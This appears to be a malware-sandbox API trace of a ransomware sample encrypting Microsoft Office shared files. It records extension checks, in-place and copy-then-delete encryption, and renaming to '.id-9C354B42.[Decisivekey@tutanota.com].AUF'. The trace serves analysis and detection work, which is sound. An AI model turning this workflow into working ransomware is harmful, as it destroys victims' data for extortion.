1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".zip") returned 4 [0218.404] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".rar") returned 4 [0218.404] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".bz2") returned 4 [0218.404] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.404] lstrlenW (lpString=".7z") returned 3 [0218.404] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".dbf") returned 4 [0218.404] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".1cd") returned 4 [0218.404] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".jpg") returned 4 [0218.404] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".doc") returned 4 [0218.404] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.404] lstrlenW (lpString=".docx") returned 5 [0218.404] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.404] lstrlenW (lpString=".pdf") returned 4 [0218.404] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".xls") returned 4 [0218.404] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".xlsx") returned 5 [0218.404] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.404] lstrlenW (lpString=".ppt") returned 4 [0218.404] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.405] lstrlenW (lpString=".zip") returned 4 [0218.405] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.405] lstrlenW (lpString=".rar") returned 4 [0218.405] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.405] lstrlenW (lpString=".bz2") returned 4 [0218.405] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.405] lstrlenW (lpString=".7z") returned 3 [0218.405] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.405] lstrlenW (lpString=".dbf") returned 4 [0218.405] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.405] lstrlenW (lpString=".1cd") returned 4 [0218.405] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.405] lstrlenW (lpString=".jpg") returned 4 [0218.405] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.405] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0218.405] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0218.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.426] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=280448) returned 1 [0218.426] CloseHandle (hObject=0x16c) returned 1 [0218.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0218.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.427] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.427] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.427] GetLastError () returned 0x0 [0218.427] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x44780, lpOverlapped=0x0) returned 1 [0218.444] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x44790, lpOverlapped=0x0) returned 1 [0218.448] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.448] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.448] SetEndOfFile (hFile=0x1d8) returned 1 [0218.448] CloseHandle (hObject=0x1d8) returned 1 [0218.449] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.449] SetEndOfFile (hFile=0x16c) returned 1 [0218.451] CloseHandle (hObject=0x16c) returned 1 [0218.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".doc") returned 4 [0218.452] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.452] lstrlenW (lpString=".docx") returned 5 [0218.452] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.452] lstrlenW (lpString=".pdf") returned 4 [0218.452] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".xls") returned 4 [0218.452] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".xlsx") returned 5 [0218.452] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.452] lstrlenW (lpString=".ppt") returned 4 [0218.452] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".zip") returned 4 [0218.452] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".rar") returned 4 [0218.452] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".bz2") returned 4 [0218.452] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.452] lstrlenW (lpString=".7z") returned 3 [0218.452] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".dbf") returned 4 [0218.452] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".1cd") returned 4 [0218.452] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".jpg") returned 4 [0218.452] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.452] lstrlenW (lpString=".doc") returned 4 [0218.452] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.452] lstrlenW (lpString=".docx") returned 5 [0218.452] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.452] lstrlenW (lpString=".pdf") returned 4 [0218.452] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".xls") returned 4 [0218.452] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.452] lstrlenW (lpString=".xlsx") returned 5 [0218.452] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.453] lstrlenW (lpString=".ppt") returned 4 [0218.453] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.453] lstrlenW (lpString=".zip") returned 4 [0218.453] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.453] lstrlenW (lpString=".rar") returned 4 [0218.453] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.453] lstrlenW (lpString=".bz2") returned 4 [0218.453] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.453] lstrlenW (lpString=".7z") returned 3 [0218.453] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.453] lstrlenW (lpString=".dbf") returned 4 [0218.453] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.453] lstrlenW (lpString=".1cd") returned 4 [0218.453] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0218.453] lstrlenW (lpString=".jpg") returned 4 [0218.453] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.453] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0218.453] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0218.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.453] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1831424) returned 1 [0218.453] CloseHandle (hObject=0x16c) returned 1 [0218.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0218.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0218.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0218.771] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0218.771] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.772] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.971] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.971] ReadFile (in: hFile=0x16c, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0218.985] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0218.985] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0218.985] ReadFile (in: hFile=0x16c, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.046] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.046] WriteFile (in: hFile=0x16c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0219.070] SetEndOfFile (hFile=0x16c) returned 1 [0219.071] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.071] WriteFile (in: hFile=0x16c, lpBuffer=0x40e9018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e9018*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.072] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.072] WriteFile (in: hFile=0x16c, lpBuffer=0x40e9018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e9018*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.074] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.074] WriteFile (in: hFile=0x16c, lpBuffer=0x40e9018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40e9018*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.076] CloseHandle (hObject=0x16c) returned 1 [0219.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.076] lstrlenW (lpString=".doc") returned 4 [0219.076] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString=".docx") returned 5 [0219.076] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0219.076] lstrlenW (lpString=".pdf") returned 4 [0219.076] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString=".xls") returned 4 [0219.076] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString=".xlsx") returned 5 [0219.076] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0219.076] lstrlenW (lpString=".ppt") returned 4 [0219.076] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.076] lstrlenW (lpString=".zip") returned 4 [0219.076] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString=".rar") returned 4 [0219.076] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.076] lstrlenW (lpString=".bz2") returned 4 [0219.076] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.076] lstrlenW (lpString=".7z") returned 3 [0219.076] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".dbf") returned 4 [0219.077] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".1cd") returned 4 [0219.077] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".jpg") returned 4 [0219.077] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".doc") returned 4 [0219.077] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString=".docx") returned 5 [0219.077] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0219.077] lstrlenW (lpString=".pdf") returned 4 [0219.077] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString=".xls") returned 4 [0219.077] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString=".xlsx") returned 5 [0219.077] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0219.077] lstrlenW (lpString=".ppt") returned 4 [0219.077] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".zip") returned 4 [0219.077] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString=".rar") returned 4 [0219.077] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.077] lstrlenW (lpString=".bz2") returned 4 [0219.077] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.077] lstrlenW (lpString=".7z") returned 3 [0219.077] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".dbf") returned 4 [0219.077] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".1cd") returned 4 [0219.077] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0219.077] lstrlenW (lpString=".jpg") returned 4 [0219.077] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.077] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.077] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0219.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0219.078] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=52656) returned 1 [0219.078] CloseHandle (hObject=0x16c) returned 1 [0219.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0219.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0219.078] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.078] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0219.079] GetLastError () returned 0x0 [0219.079] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0219.226] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0219.237] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.238] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.238] SetEndOfFile (hFile=0x180) returned 1 [0219.238] CloseHandle (hObject=0x180) returned 1 [0219.238] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.238] SetEndOfFile (hFile=0x16c) returned 1 [0219.239] CloseHandle (hObject=0x16c) returned 1 [0219.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 